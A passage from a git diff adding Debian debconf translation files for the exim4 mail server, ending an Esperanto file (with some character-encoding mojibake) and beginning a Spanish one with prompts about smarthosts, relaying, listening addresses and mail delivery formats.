a smarthost." +msgstr "" +"Bonvolu indiki punktokome interspacigitan liston da 'IP'-adresaj intervaloj " +"por kiuj tiu ĉi maÅino senpere relajsos mesaÄojn (kiel lertserva funkciado)." + +#. Type: string +#. Description +#: ../exim4-config.templates:6001 +msgid "" +"You should use the standard address/prefix format (e.g. 194.222.242.0/24 or " +"5f03:1200:836f::/48)." +msgstr "" +"Vi devos uzi la norman formon 'adreso/prefikso' (ekzemple: 194.222.242.0/24 " +"aÅ 5f03:1200:836f::/48)." + +#. Type: string +#. Description +#: ../exim4-config.templates:6001 +msgid "" +"If this system should not be a smarthost for any other host, leave this list " +"blank." +msgstr "" +"Se tiu ĉi sistemo ne devos esti lertservilo ('smarthost') por aliaj " +"sistemoj, lasu tiun ĉi liston malplena." + +#. Type: string +#. Description +#: ../exim4-config.templates:7001 +msgid "Visible domain name for local users:" +msgstr "Videbla domajno-nomo por lokaj uzantoj:" + +#. Type: string +#. Description +#: ../exim4-config.templates:7001 +msgid "" +"The option to hide the local mail name in outgoing mail was enabled. It is " +"therefore necessary to specify the domain name this system should use for " +"the domain part of local users' sender addresses." +msgstr "" +"La opcio por kaÅi la lokan retmesaÄnomon en elirantaj mesaÄoj estis " +"ebligita. Do, vi devas nun indiki la domajno-nomon, kiun tiu ĉi sistemo " +"devos uzi por la domajna parto de sendant-adresoj de lokaj uzantoj." + +#. Type: string +#. Description +#: ../exim4-config.templates:8001 +msgid "IP address or host name of the outgoing smarthost:" +msgstr "'IP'-adreso aÅ gastnomo de la eliranta lertservilo:" + +#. Type: string +#. Description +#: ../exim4-config.templates:8001 +msgid "" +"Please enter the IP address or the host name of a mail server that this " +"system should use as outgoing smarthost. If the smarthost only accepts your " +"mail on a port different from TCP/25, append two colons and the port number " +"(for example smarthost.example::587 or 192.168.254.254::2525). Colons in " +"IPv6 addresses need to be doubled." +msgstr "" +"Bonvolu indiki la 'IP'-adreson aÅ la gastnomon de retpoÅtservilo kiun tiu ĉi " +"sistemo uzos kiel eliranta lertservilo ('smarthost'). Se la lertservilo nur " +"akceptas viajn retmesaÄojn per pordo alia ol TCP/25, aldonu du dupunktojn " +"kaj la pordnumeron (ekzemple, lertservilo.ekzemplo::587 aÅ " +"192.168.254.254::2525). Dupunktoj en 'IPv6'-adresoj devas esti duopaj." + +#. Type: string +#. Description +#: ../exim4-config.templates:8001 +msgid "" +"If the smarthost requires authentication, please refer to the Debian-" +"specific README files in /usr/share/doc/exim4-base for notes about setting " +"up SMTP authentication." +msgstr "" +"Se la lertservilo bezonas aÅtentikadon, bonvolu konsulti la dosieron " +"'README' de Debian en '/usr/share/doc/exim4-base/' por pliaj informoj pri " +"kiel akomodi 'SMTP'-aÅtentikadon (eble nur angle)." + +#. Type: string +#. Description +#: ../exim4-config.templates:9001 +msgid "Root and postmaster mail recipient:" +msgstr "Radika kaj poÅtestra ricevanto:" + +#. Type: string +#. Description +#: ../exim4-config.templates:9001 +msgid "" +"Mail for the 'postmaster', 'root', and other system accounts needs to be " +"redirected to the user account of the actual system administrator." +msgstr "" +"RetmesaÄoj al la 'poÅtestro', 'ĉefuzanto', kaj aliaj sistem-kontoj bezonas " +"esti deturnitaj al la uzantkonto de la fakta administranto." + +#. Type: string +#. Description +#: ../exim4-config.templates:9001 +msgid "" +"If this value is left empty, such mail will be saved in /var/mail/mail, " +"which is not recommended." +msgstr "" +"Se vi lasas tiun ĉi valoron malplena, tiuj retmesaÄoj estos garditaj en la " +"dosiero 'var/mail/mail'. Ne rekomendinde." + +#. Type: string +#. Description +#: ../exim4-config.templates:9001 +msgid "" +"Note that postmaster's mail should be read on the system to which it is " +"directed, rather than being forwarded elsewhere, so (at least one of) the " +"users listed here should not redirect their mail off this machine. A 'real-' " +"prefix can be used to force local delivery." +msgstr "" +"Rimarku ke poÅtestraj retmesaÄoj devos esti legitaj en la loka sistemo, " +"anstataÅ ol esti aliloken senditaj. Do, (almenaÅ unu el) la uzantoj listitaj " +"ĉi tie ne devos deturni siajn mesaÄojn al alia maÅino. La prefikso 'real-' " +"povas esti uzata por devigi lokan liveradon." + +#. Type: string +#. Description +#: ../exim4-config.templates:9001 +msgid "Multiple user names need to be separated by spaces." +msgstr "Multoblaj uzantnomoj devas esti apartigitaj per spacoj." + +#. Type: string +#. Description +#: ../exim4-config.templates:10001 +msgid "IP-addresses to listen on for incoming SMTP connections:" +msgstr "" +"'IP'-adresoj kiujn la 'Exim'-programo priatentos por enirantaj 'SMTP'-" +"konektoj:" + +#. Type: string +#. Description +#: ../exim4-config.templates:10001 +msgid "" +"Please enter a semicolon-separated list of IP addresses. The Exim SMTP " +"listener daemon will listen on all IP addresses listed here." +msgstr "" +"Bonvolu indiki punktokome interspacigatan liston da 'IP'-adresoj, kiujn la " +"'Exim SMTP'-programo priatentos." + +#. Type: string +#. Description +#: ../exim4-config.templates:10001 +msgid "" +"An empty value will cause Exim to listen for connections on all available " +"network interfaces." +msgstr "" +"Malplena valoro igos ke 'Exim' priatentu konektojn el ĉiuj disponeblaj ret-" +"interfacoj." + +#. Type: string +#. Description +#: ../exim4-config.templates:10001 +msgid "" +"If this system only receives mail directly from local services (and not from " +"other hosts), it is suggested to prohibit external connections to the local " +"Exim daemon. Such services include e-mail programs (MUAs) which talk to " +"localhost only as well as fetchmail. External connections are impossible " +"when 127.0.0.1 is entered here, as this will disable listening on public " +"network interfaces." +msgstr "" +"Se tiu ĉi komputilo ricevas mesaÄojn nur el lokaj poÅtservoj (kaj ne el " +"aliaj serviloj), oni sugestas malpermesi eksterajn konektojn al la loka " +"demono 'Exim'. Tiaj servoj povas esti retpoÅtiloj kiuj \"babilas\" kun nur " +"'localhost', same kiel 'fetchmail'. Oni malebligas eksterajn konektojn " +"enmetante la valoron 127.0.0.1 ĉi tie, ĉar tio malpermesigas priatenti " +"publikajn ret-interfacojn." + +#. Type: boolean +#. Description +#: ../exim4-config.templates:11001 +msgid "Keep number of DNS-queries minimal (Dial-on-Demand)?" +msgstr "Ĉu oni minimumigu la nombron da 'DNS'-peto (LaÅ-Bezona-Konekto)?" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:11001 +msgid "" +"In normal mode of operation Exim does DNS lookups at startup, and when " +"receiving or delivering messages. This is for logging purposes and allows " +"keeping down the number of hard-coded values in the configuration." +msgstr "" +"Ordinare, 'Exim'-programo faras 'DNS'-serĉadon dum eklanĉo, kaj kiam Äi " +"ricevas aÅ disdonas mesaÄojn. Tio estas por protokolaj celoj kaj ebligas " +"minimumigi la nombron da enkodumitaj valoroj en la agorda dosiero." + +#. Type: boolean +#. Description +#: ../exim4-config.templates:11001 +msgid "" +"If this system does not have a DNS full service resolver available at all " +"times (for example if its Internet access is a dial-up line using dial-on-" +"demand), this might have unwanted consequences. For example, starting up " +"Exim or running the queue (even with no messages waiting) might trigger a " +"costly dial-up-event." +msgstr "" +"Se tiu ĉi gastkomputilo ne havas kompletan 'DNS'-solvilon disponigita dum la " +"tuta tempo (ekzemple, se Äi uzas laÅbezonkonektojn al interreto per telefona " +"lineo), tio povus kaÅzi maldeziritajn sekvojn. Ekzemple, lanĉo de la " +"programo 'Exim' aÅ traktadon de la petvico (eĉ sen atendantajn mesaÄojn) " +"povus krei multkostajn telefon-konektojn." + +#. Type: boolean +#. Description +#: ../exim4-config.templates:11001 +msgid "" +"This option should be selected if this system is using Dial-on-Demand. If it " +"has always-on Internet access, this option should be disabled." +msgstr "" +"Tiu ĉi opcio devas esti elektita se tiu ĉi sistemo uzas LaÅ-Bezon-Konektojn. " +"Se Äi havas konstantan konekton al Interreto, tiu ĉi opcio devus esti " +"malebligita." + +#. Type: title +#. Description +#: ../exim4-config.templates:12001 +msgid "Mail Server configuration" +msgstr "RetpoÅtservila agordo" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:13001 +msgid "Split configuration into small files?" +msgstr "Ĉu oni dispartigu la agordo-dosieron je etaj dosieroj?" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:13001 +msgid "" +"The Debian exim4 packages can either use 'unsplit configuration', a single " +"monolithic file (/etc/exim4/exim4.conf.template) or 'split configuration', " +"where the actual Exim configuration files are built from about 50 smaller " +"files in /etc/exim4/conf.d/." +msgstr "" +"La pakoj de la Debiana 'Exim4' povas uzi 'unuopan agordon', unu nur unubloka " +"dosiero (/etc/exim4/exim4.conf.template) aÅ Äi povas uzi 'disigitan " +"agordon', per kiu la agordo-dosieroj de Exim estas faritaj el proksimume 50 " +"etaj dosieroj en etc/exim4/conf.d/." + +#. Type: boolean +#. Description +#: ../exim4-config.templates:13001 +msgid "" +"Unsplit configuration is better suited for large modifications and is " +"generally more stable, whereas split configuration offers a comfortable way " +"to make smaller modifications but is more fragile and might break if " +"modified carelessly." +msgstr "" +"La unubloka agordo-dosiero estas pli taÅga por grandaj ÅanÄoj kaj Äi estas " +"Äenerale pli stabila. Male, disigita agordo estas pli taÅga por malgrandaj " +"modifoj, sed estas pli \"vundebla\" kaj Äi povas frakasiÄi okaze de senzorga " +"modifado." + +#. Type: boolean +#. Description +#: ../exim4-config.templates:13001 +msgid "" +"A more detailed discussion of split and unsplit configuration can be found " +"in the Debian-specific README files in /usr/share/doc/exim4-base." +msgstr "" +"Pli detaliga diskuto pri unubloka kaj disigita agordo estas legebla (angle) " +"ĉe la Debian-specifaj dosieroj 'README' ĉe /usr/share/doc/exim4-base." + +#. Type: boolean +#. Description +#: ../exim4-config.templates:14001 +msgid "Hide local mail name in outgoing mail?" +msgstr "Ĉu oni kaÅu lokan nomon en sendotaj retmesaÄoj?" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:14001 +msgid "" +"The headers of outgoing mail can be rewritten to make it appear to have been " +"generated on a different system. If this option is chosen, '${mailname}', " +"'localhost' and '${dc_other_hostnames}' in From, Reply-To, Sender and Return-" +"Path are rewritten." +msgstr "" +"La kaplinioj de sendotaj retmesaÄoj povas esti reskribitaj por Åajnigi ilin " +"devenitaj de alia sistemo. Se tiu ĉi opcio estos Åaltita, '${mailname}', " +"'localhost' kaj '${dc_other_hostnames}' estos anstataÅigitaj en la kaplinioj " +"'De:', 'Respondi-Al:', 'Sendinto:' kaj 'Revena-Pado:'." + +#. Type: select +#. Choices +#: ../exim4-config.templates:15001 +msgid "mbox format in /var/mail/" +msgstr "'mbox'-strukturo en /var/mail/" + +#. Type: select +#. Choices +#: ../exim4-config.templates:15001 +msgid "Maildir format in home directory" +msgstr "'Maildir'-strukturo en la dosierujo 'home'" + +#. Type: select +#. Description +#: ../exim4-config.templates:15002 +msgid "Delivery method for local mail:" +msgstr "Livera metodo por loka retpoÅto:" + +#. Type: select +#. Description +#: ../exim4-config.templates:15002 +msgid "" +"Exim is able to store locally delivered email in different formats. The most " +"commonly used ones are mbox and Maildir. mbox uses a single file for the " +"complete mail folder stored in /var/mail/. With Maildir format every single " +"message is stored in a separate file in ~/Maildir/." +msgstr "" +"'Exim' povas konservi lokajn disdonitajn retmesaÄojn laÅ malsamaj " +"strukturoj. La plejofte uzataj estas 'mbox' kaj 'Maildir'. 'mbox' uzas " +"ununuran dosieron por la tuta poÅt-dosierujo konservita en '/var/mail'. Per " +"la 'Maildir'-strukturo ĉiu mesaÄo estas konservita en aparta dosiero ĉe '~/" +"Maildir'." + +#. Type: select +#. Description +#: ../exim4-config.templates:15002 +msgid "" +"Please note that most mail tools in Debian expect the local delivery method " +"to be mbox in their default." +msgstr "" +"Bonvolu rimarki ke plejparto el la retpoÅtiloj en Debiano apriore uzas la " +"strukturon 'mbox'." diff --git a/debian/po/es.po b/debian/po/es.po new file mode 100644 index 0000000..81d6281 --- /dev/null +++ b/debian/po/es.po @@ -0,0 +1,936 @@ +# exim4 debconf translation to spanish +# Copyright (C) 2004-2007 Software in the Public Interest +# This file is distributed under the same license as the exim4 package. +# +# Changes: +# - Initial translation +# Fco. Javier Sanchez Castelo <javicastelo@ono.com>, 2004 +# - Revision: +# Javier Fernandez-Sanguino <jfs@debian.org>, 2004 +# Fernando J. Rodriguez (Herr Groucho) <groucho@nys.com.ar>, 2004 +# - Updates: +# Javier Fernandez-Sanguino <jfs@debian.org>, 2006-2007 +# +# Traductores, si no conoce el formato PO, merece la pena leer la +# documentacion de gettext, especialmente las secciones dedicadas a este +# formato, por ejemplo ejecutando: +# info -n '(gettext)PO Files' +# info -n '(gettext)Header Entry' +# +# Equipo de traduccion al espanol, por favor lean antes de traducir +# los siguientes documentos: +# +# - El proyecto de traduccion de Debian al espanol +# http://www.debian.org/intl/spanish/coordinacion +# especialmente las notas de traduccion en +# http://www.debian.org/intl/spanish/notas +# +# - La guia de traduccion de po's de debconf: +# /usr/share/doc/po-debconf/README-trans +# o http://www.debian.org/intl/l10n/po-debconf/README-trans +# +# Notas: +# - FQDN: Nombre completo del equipo (NO: nombre totalmente cualificado) +# Ver: Message-ID: <20060830223128.GO26167@javifsp.no-ip.org> +# +# - «smarthost»: no se traduce +# +msgid "" +msgstr "" +"Project-Id-Version: exim4 4.34-1\n" +"Report-Msgid-Bugs-To: pkg-exim4-maintainers@lists.alioth.debian.org\n" +"POT-Creation-Date: 2007-07-18 08:29+0200\n" +"PO-Revision-Date: 2007-07-14 12:35+0200\n" +"Last-Translator: Javier Fernandez-Sanguino <jfs@debian.org>\n" +"Language-Team: Debian Spanish <debian-l10n-spanish@lists.debian.org>\n" +"Language: \n" +"MIME-Version: 1.0\n" +"Content-Type: text/plain; charset=ISO-8859-15\n" +"Content-Transfer-Encoding: 8bit\n" +"X-POFile-SpellExtra: From dcotherhostnames fetchmail site FQDN blah mbox\n" +"X-POFile-SpellExtra: README conf Reply smarthost Return Maildir exim TCP\n" +"X-POFile-SpellExtra: usr template var mail config localhost postmaster\n" +"X-POFile-SpellExtra: Sender share SMTP Exim spool IPv DNS Path org dpkg\n" +"X-POFile-SpellExtra: acc To doc fqdn mailname root MX\n" + +#. Type: boolean +#. Description +#: ../exim4-base.templates:1001 +msgid "Remove undelivered messages in spool directory?" +msgstr "" +"¿Eliminar los mensajes no entregados del directorio de la cola de correo?" + +#. Type: boolean +#. Description +#: ../exim4-base.templates:1001 +msgid "" +"There are e-mail messages in the Exim spool directory /var/spool/exim4/" +"input/ which have not yet been delivered. Removing Exim will cause them to " +"remain undelivered until Exim is re-installed." +msgstr "" +"Hay mensajes en el directorio de la cola de correo de exim «/var/spool/exim4/" +"input/» que no se han entregado todavía. Si desinstala Exim estos no podrán " +"enviarse hasta que lo reinstale." + +#. Type: boolean +#. Description +#: ../exim4-base.templates:1001 +msgid "" +"If this option is not chosen, the spool directory is kept, allowing the " +"messages in the queue to be delivered at a later date after Exim is re-" +"installed." +msgstr "" +"Se mantendrá el directorio de colas si no elige esta opción, lo que " +"permitirá gestionar los mensajes encolados más adelante después de " +"reinstalar Exim." + +#. Type: error +#. Description +#: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001 +#: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001 +msgid "Reconfigure exim4-config instead of this package" +msgstr "Reconfigure exim4-config en lugar de este paquete" + +#. Type: error +#. Description +#: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001 +#: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001 +msgid "" +"Exim4 has its configuration factored out into a dedicated package, exim4-" +"config. To reconfigure Exim4, use 'dpkg-reconfigure exim4-config'." +msgstr "" +"Se ha movido la configuración de exim4 a un paquete dedicado: «exim4-" +"config». Si quiere reconfigurar Exim4 debería ejecutar «dpkg-reconfigure " +"exim4-config»." + +#. Type: select +#. Choices +#. Translators beware! the following six strings form a single +#. Choices menu. - Every one of these strings has to fit in a standard +#. 80 characters console, as the fancy screen setup takes up some space +#. try to keep below ~71 characters. +#. DO NOT USE commas (,) in Choices translations otherwise +#. this will break the choices shown to users +#: ../exim4-config.templates:1001 +msgid "internet site; mail is sent and received directly using SMTP" +msgstr "Internet site; el correo se envía y recibe directamente usando SMTP" + +#. Type: select +#. Choices +#. Translators beware! the following six strings form a single +#. Choices menu. - Every one of these strings has to fit in a standard +#. 80 characters console, as the fancy screen setup takes up some space +#. try to keep below ~71 characters. +#. DO NOT USE commas (,) in Choices translations otherwise +#. this will break the choices shown to users +#: ../exim4-config.templates:1001 +msgid "mail sent by smarthost; received via SMTP or fetchmail" +msgstr "" +"el correo se envía mediante un «smarthost»; se recibe a través de SMTP o " +"fetchmail" + +#. Type: select +#. Choices +#. Translators beware! the following six strings form a single +#. Choices menu. - Every one of these strings has to fit in a standard +#. 80 characters console, as the fancy screen setup takes up some space +#. try to keep below ~71 characters. +#. DO NOT USE commas (,) in Choices translations otherwise +#. this will break the choices shown to users +#: ../exim4-config.templates:1001 +msgid "mail sent by smarthost; no local mail" +msgstr "el correo se envía mediante un «smarthost»; sin correo local" + +#. Type: select +#. Choices +#. Translators beware! the following six strings form a single +#. Choices menu. - Every one of these strings has to fit in a standard +#. 80 characters console, as the fancy screen setup takes up some space +#. try to keep below ~71 characters. +#. DO NOT USE commas (,) in Choices translations otherwise +#. this will break the choices shown to users +#: ../exim4-config.templates:1001 +msgid "local delivery only; not on a network" +msgstr "solamente entrega local; sin red" + +#. Type: select +#. Choices +#. Translators beware! the following six strings form a single +#. Choices menu. - Every one of these strings has to fit in a standard +#. 80 characters console, as the fancy screen setup takes up some space +#. try to keep below ~71 characters. +#. DO NOT USE commas (,) in Choices translations otherwise +#. this will break the choices shown to users +#: ../exim4-config.templates:1001 +msgid "no configuration at this time" +msgstr "sin configuración de momento" + +#. Type: select +#. Description +#: ../exim4-config.templates:1002 +msgid "General type of mail configuration:" +msgstr "Tipo de configuración general del correo:" + +#. Type: select +#. Description +#: ../exim4-config.templates:1002 +msgid "" +"Please select the mail server configuration type that best meets your needs." +msgstr "" +"Seleccione el tipo de configuración de servidor de correo que se ajuste " +"mejor a sus necesidades." + +#. Type: select +#. Description +#: ../exim4-config.templates:1002 +msgid "" +"Systems with dynamic IP addresses, including dialup systems, should " +"generally be configured to send outgoing mail to another machine, called a " +"'smarthost' for delivery because many receiving systems on the Internet " +"block incoming mail from dynamic IP addresses as spam protection." +msgstr "" +"Los sistemas con direcciones IP dinámicas, incluyendo los que utilicen " +"acceso telefónico, deberían configurarse por regla general para enviar el " +"correo a otro servidor llamado «smarthost» para que realice el reparto. Esto " +"es necesario porque muchos sistemas receptores de correo en Internet " +"bloquean el correo entrante que provenga de direcciones IP dinámicas como " +"medida de protección contra el correo basura." + +#. Type: select +#. Description +#: ../exim4-config.templates:1002 +msgid "" +"A system with a dynamic IP address can receive its own mail, or local " +"delivery can be disabled entirely (except mail for root and postmaster)." +msgstr "" +"Un sistema que utilice una dirección IP dinámica puede recibir su propio " +"correo, o puede deshabilitarse el envío local por completo (salvo para el " +"correo para «root» y «postmaster»)." + +#. Type: boolean +#. Description +#: ../exim4-config.templates:2001 +msgid "Really leave the mail system unconfigured?" +msgstr "¿Realmente quiere dejar el sistema de correo sin configurar?" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:2001 +msgid "" +"Until the mail system is configured, it will be broken and cannot be used. " +"Configuration at a later time can be done either by hand or by running 'dpkg-" +"reconfigure exim4-config' as root." +msgstr "" +"Su sistema de correo estará inutilizado y no podrá utilizarse hasta que lo " +"configure. Puede configurarlo más tarde, ya sea manualmente o ejecutando " +"«dpkg-reconfigure exim4-config» como administrador." + +#. Type: string +#. Description +#: ../exim4-config.templates:3001 +msgid "System mail name:" +msgstr "Nombre del sistema de correo:" + +#. Type: string +#. Description +#: ../exim4-config.templates:3001 +msgid "" +"The 'mail name' is the domain name used to 'qualify' mail addresses without " +"a domain name." +msgstr "" +"El nombre de correo local es el nombre del dominio utilizado para " +"«cualificar» las direcciones de correo que no tienen un nombre de dominio." + +#. Type: string +#. Description +#: ../exim4-config.templates:3001 +msgid "" +"This name will also be used by other programs. It should be the single, " +"fully qualified domain name (FQDN)." +msgstr "" +"Este nombre se usará por otros programas. Debería ser el nombre completo del " +"equipo (FQDN)." + +#. Type: string +#. Description +#: ../exim4-config.templates:3001 +msgid "" +"Thus, if a mail address on the local host is foo@example.org, the correct " +"value for this option would be example.org." +msgstr "" +"Por ejemplo, si la dirección de correo en el sistema local es «blah@ejemplo." +"org», el valor correcto para esta opción es «ejemplo.org»." + +#. Type: string +#. Description +#: ../exim4-config.templates:3001 +msgid "" +"This name won't appear on From: lines of outgoing messages if rewriting is " +"enabled." +msgstr "" +"Este nombre no aparecerá en la línea «From:» de los correos salientes si " +"está activa la reescritura." + +#. Type: string +#. Description +#: ../exim4-config.templates:4001 +msgid "Other destinations for which mail is accepted:" +msgstr "Otros destinos para los que se acepta el correo:" + +#. Type: string +#. Description +#: ../exim4-config.templates:4001 +msgid "" +"Please enter a semicolon-separated list of recipient domains for which this " +"machine should consider itself the final destination. These domains are " +"commonly called 'local domains'. The local hostname (${fqdn}) and " +"'localhost' are always added to the list given here." +msgstr "" +"Introduzca la lista de dominios de destinatarios para los que esta máquina " +"debería considerarse a sí misma como destino final. Separe los dominios de " +"la lista con punto y coma. Estos dominios se llaman habitualmente «dominios " +"locales». Siempre se añade el nombre del equipo (${fqdn}) y «localhost» a la " +"lista dada aquí." + +#. Type: string +#. Description +#: ../exim4-config.templates:4001 +msgid "" +"By default all local domains will be treated identically. If both a.example " +"and b.example are local domains, acc@a.example and acc@b.example will be " +"delivered to the same final destination. If different domain names should be " +"treated differently, it is necessary to edit the config files afterwards." +msgstr "" +"Por omisión todos los dominios se tratarán igual. Si tanto «a.ejemplo» como " +"«b.ejemplo» son dominios locales se enviará al mismo destinatario correos a " +"«acc@a.ejemplo» y «acc@b.ejemplo». Si quiere diferenciar entre distintos " +"nombres de dominio necesitará editar los archivos de configuración " +"posteriormente." + +#. Type: string +#. Description +#: ../exim4-config.templates:5001 +msgid "Domains to relay mail for:" +msgstr "Dominios para los que se reenvía correo:" + +#. Type: string +#. Description +#: ../exim4-config.templates:5001 +msgid "" +"Please enter a semicolon-separated list of recipient domains for which this " +"system will relay mail, for example as a fallback MX or mail gateway. This " +"means that this system will accept mail for these domains from anywhere on " +"the Internet and deliver them according to local delivery rules." +msgstr "" +"Introduzca la lista de dominios destino para los que el sistema encaminará " +"correo, actuando, por ejemplo, como pasarela de correo o respaldo MX. Separe " +"los elementos de la lista por punto y coma. Esto significa que el sistema " +"aceptará correo para este dominios desde cualquier destino en Internet y los " +"gestionará de acuerdo a las reglas locales de entrega." + +#. Type: string +#. Description +#: ../exim4-config.templates:5001 +msgid "Do not mention local domains here. Wildcards may be used." +msgstr "No mencione los dominios locales aquí. Puede utilizar comodines." + +#. Type: string +#. Description +#: ../exim4-config.templates:6001 +msgid "Machines to relay mail for:" +msgstr "Máquinas para las cuales reenviar correo:" + +#. Type: string +#. Description +#: ../exim4-config.templates:6001 +msgid "" +"Please enter a semicolon-separated list of IP address ranges for which this " +"system will unconditionally relay mail, functioning as a smarthost." +msgstr "" +"Introduzca una lista de rangos de direcciones IP para los que el sistema " +"encaminará correo de forma incondicional, actuando para ellos como un " +"«smarthost». Separe las direcciones con punto y coma." + +#. Type: string +#. Description +#: ../exim4-config.templates:6001 +msgid "" +"You should use the standard address/prefix format (e.g. 194.222.242.0/24 or " +"5f03:1200:836f::/48)." +msgstr "" +"Use el formato estándar dirección/longitud (por ejemplo 194.222.242.0/24 o " +"5f03:1200:836f::/48)." + +#. Type: string +#. Description +#: ../exim4-config.templates:6001 +msgid "" +"If this system should not be a smarthost for any other host, leave this list " +"blank." +msgstr "" +"Deje este valor en blanco si el sistema no debe comportarse como un " +"«smarthost» para ningún otro sistema." + +#. Type: string +#. Description +#: ../exim4-config.templates:7001 +msgid "Visible domain name for local users:" +msgstr "Nombre de dominio visible para usuarios locales:" + +#. Type: string +#. Description +#: ../exim4-config.templates:7001 +msgid "" +"The option to hide the local mail name in outgoing mail was enabled. It is " +"therefore necessary to specify the domain name this system should use for " +"the domain part of local users' sender addresses." +msgstr "" +"Se ha activado la opción para ocultar el nombre de correo local en el correo " +"saliente. Es necesario que especifique el nombre de dominio que el sistema " +"debería utilizar para la parte de dominio de las direcciones de correo " +"origen utilizadas para los usuarios locales." + +#. Type: string +#. Description +#: ../exim4-config.templates:8001 +msgid "IP address or host name of the outgoing smarthost:" +msgstr "Dirección IP o nombre de equipo para el «smarthost» saliente:" + +#. Type: string +#. Description +#: ../exim4-config.templates:8001 +msgid "" +"Please enter the IP address or the host name of a mail server that this " +"system should use as outgoing smarthost. If the smarthost only accepts your " +"mail on a port different from TCP/25, append two colons and the port number " +"(for example smarthost.example::587 or 192.168.254.254::2525). Colons in " +"IPv6 addresses need to be doubled." +msgstr "" +"Introduzca la dirección IP o el nombre de equipo del servidor de correo que " +"debería utilizarse como servidor saliente («smarthost»). Si el servidor sólo " +"acepta su correo en un puerto distinto al puerto TCP/25 deberá incluir el " +"número de puerto separándolo con dos signos de dos puntos (por ejemplo, " +"«smarthost.ejemplo::587 ó 192.168.254.254::2525). Los dos puntos en " +"direcciones IPv6 deberán escribirse dos veces." + +#. Type: string +#. Description +#: ../exim4-config.templates:8001 +msgid "" +"If the smarthost requires authentication, please refer to the Debian-" +"specific README files in /usr/share/doc/exim4-base for notes about setting " +"up SMTP authentication." +msgstr "" +"Si el «smarthost» requiere que el sistema se autentique deberá consultar " +"cómo definir la configuración de la autenticación SMTP en los archivos " +"README específicos de Debian en «/usr/share/doc/exim4-base/»." + +#. Type: string +#. Description +#: ../exim4-config.templates:9001 +msgid "Root and postmaster mail recipient:" +msgstr "Destinatario del correo de «root» y «postmaster»:" + +#. Type: string +#. Description +#: ../exim4-config.templates:9001 +msgid "" +"Mail for the 'postmaster', 'root', and other system accounts needs to be " +"redirected to the user account of the actual system administrator." +msgstr "" +"Debe redirigir los correos a «postmaster», «root» y otras cuentas del " +"sistema a una cuenta del usuario que corresponda a la del administrador del " +"sistema real." + +#. Type: string +#. Description +#: ../exim4-config.templates:9001 +msgid "" +"If this value is left empty, such mail will be saved in /var/mail/mail, " +"which is not recommended." +msgstr "" +"Todo el correo de este tipo se almacenará en /var/mail/mail si deja vacío " +"este valor, lo que no está recomendado." + +#. Type: string +#. Description +#: ../exim4-config.templates:9001 +msgid "" +"Note that postmaster's mail should be read on the system to which it is " +"directed, rather than being forwarded elsewhere, so (at least one of) the " +"users listed here should not redirect their mail off this machine. A 'real-' " +"prefix can be used to force local delivery." +msgstr "" +"Tenga en cuenta que los mensajes dirigidos al administrador de correo " +"(«postmaster») normalmente deberían leerse en el sistema al que va dirigido, " +"en lugar de enviarse a otra parte. Así (al menos uno de) los usuarios que " +"escoja no deberían reenviar su correo fuera de ésta máquina. Puede utilizar " +"el prefijo «real-» para obligar a utilizar la entrega local." + +#. Type: string +#. Description +#: ../exim4-config.templates:9001 +msgid "Multiple user names need to be separated by spaces." +msgstr "Si introduce más de un nombre de usuario debe separarlos con espacios." + +#. Type: string +#. Description +#: ../exim4-config.templates:10001 +msgid "IP-addresses to listen on for incoming SMTP connections:" +msgstr "Direcciones IP en las que recibir conexiones SMTP entrantes:" + +#. Type: string +#. Description +#: ../exim4-config.templates:10001 +msgid "" +"Please enter a semicolon-separated list of IP addresses. The Exim SMTP " +"listener daemon will listen on all IP addresses listed here." +msgstr "" +"Introduzca una lista de direcciones IP separadas por punto y coma. El " +"demonio que acepta las conexiones entrantes SMTP de Exim escuchará en todas " +"las direcciones IP aquí listadas." + +#. Type: string +#. Description +#: ../exim4-config.templates:10001 +msgid "" +"An empty value will cause Exim to listen for connections on all available " +"network interfaces." +msgstr "" +"Si deja este valor en blanco, Exim podrá recibir conexiones desde cualquier " +"interfaz de red disponible." + +#. Type: string +#. Description +#: ../exim4-config.templates:10001 +msgid "" +"If this system only receives mail directly from local services (and not from " +"other hosts), it is suggested to prohibit external connections to the local " +"Exim daemon. Such services include e-mail programs (MUAs) which talk to " +"localhost only as well as fetchmail. External connections are impossible " +"when 127.0.0.1 is entered here, as this will disable listening on public " +"network interfaces." +msgstr "" +"Es recomendable prohibir conexiones externas a Exim si este equipo sólo " +"recibe correo directamente de servicios locales (y no de otros equipos). " +"Estos servicios incluyendo los programas cliente de correo (MUA) que sólo " +"envían correo a «localhost» así como fetchmail. No podrán realizarse " +"conexiones de forma externa si introduce aquí el valor '127.0.0.1', de esta " +"forma desactivará la escucha en las interfaces conectadas a redes públicas." + +#. Type: boolean +#. Description +#: ../exim4-config.templates:11001 +msgid "Keep number of DNS-queries minimal (Dial-on-Demand)?" +msgstr "¿Limitar el número de consultas de DNS (marcación bajo demanda)?" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:11001 +msgid "" +"In normal mode of operation Exim does DNS lookups at startup, and when " +"receiving or delivering messages. This is for logging purposes and allows " +"keeping down the number of hard-coded values in the configuration." +msgstr "" +"En el modo normal de operación, Exim hace consultas de DNS al iniciar y " +"cuando recibe o entrega mensajes. Estas consultas se hacen para poder " +"mantener registros y para mantener pequeño el número de valores fijos " +"grabados en el archivo de configuración." + +#. Type: boolean +#. Description +#: ../exim4-config.templates:11001 +msgid "" +"If this system does not have a DNS full service resolver available at all " +"times (for example if its Internet access is a dial-up line using dial-on-" +"demand), this might have unwanted consequences. For example, starting up " +"Exim or running the queue (even with no messages waiting) might trigger a " +"costly dial-up-event." +msgstr "" +"Si este sistema no tiene acceso permanente a servidores de nombres DNS (es " +"el caso cuando se usa marcación bajo demanda o una línea de acceso " +"telefónico) esto podría tener consecuencia no deseadas. Por ejemplo, se " +"podría llegar a intentar realizar una evento de conexión (que genere una " +"llamada costosa) al iniciar exim o procesar la cola del correo (incluso " +"aunque no haya mensajes en espera)." + +#. Type: boolean +#. Description +#: ../exim4-config.templates:11001 +msgid "" +"This option should be selected if this system is using Dial-on-Demand. If it " +"has always-on Internet access, this option should be disabled." +msgstr "" +"Debería seleccionar esta opción si su 